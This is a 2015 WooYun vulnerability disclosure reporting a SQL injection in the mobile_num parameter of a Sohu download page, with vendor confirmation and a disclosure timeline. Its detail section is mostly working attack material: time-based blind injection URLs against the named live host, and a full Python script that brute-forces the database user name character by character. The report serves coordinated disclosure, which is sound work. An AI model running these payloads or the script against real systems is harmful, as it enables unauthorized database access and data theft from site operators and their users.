当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135220

漏洞标题:搜狐某业务站点SQL注入漏洞

相关厂商:搜狐

漏洞作者: Manning

提交时间:2015-08-19 10:16

修复时间:2015-10-03 11:10

公开时间:2015-10-03 11:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-19: 细节已通知厂商并且等待厂商处理中
2015-08-19: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向核心白帽子及相关领域专家公开
2015-09-08: 细节向普通白帽子公开
2015-09-18: 细节向实习白帽子公开
2015-10-03: 细节向公众公开

简要描述:

搜狐某站sql注入

详细说明:

http://smart.sohu.com/downloads/sms?mobile_num=1

漏洞证明:

第一位为 s
http://smart.sohu.com/downloads/sms?mobile_num=1' and (sleep((ord(mid(user()from(1)for(1)))=115))) AND 'OnMe'='OnMe

3214.png


第二位为 m
http://smart.sohu.com/downloads/sms?mobile_num=1' and (sleep((ord(mid(user()from(2)for(1)))=109))) AND 'OnMe'='OnMe
第三位为 s
http://smart.sohu.com/downloads/sms?mobile_num=1' and (sleep((ord(mid(user()from(3)for(1)))=115))) AND 'OnMe'='OnMe
第四位为 @
http://smart.sohu.com/downloads/sms?mobile_num=1' and (sleep((ord(mid(user()from(4)for(1)))=64))) AND 'OnMe'='OnMe
第五位为 1
http://smart.sohu.com/downloads/sms?mobile_num=1' and (sleep((ord(mid(user()from(5)for(1)))=49))) AND 'OnMe'='OnMe

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
for payload in payloads:
try:
s = "(sleep((ord(mid(user()from(%s)for(1)))=%s)))" % (i, ord(payload))
conn = httplib.HTTPConnection('smart.sohu.com', timeout=4)
conn.request(method='GET',url="/downloads/sms?mobile_num=1' and %s and 'asd'='asd"% urllib.quote(s))
conn.getresponse()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break
print '\n[Done] MySQL user is %s' % user


修复方案:

版权声明:转载请注明来源 Manning@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-08-19 11:09

厂商回复:

感谢支持。

最新状态:

暂无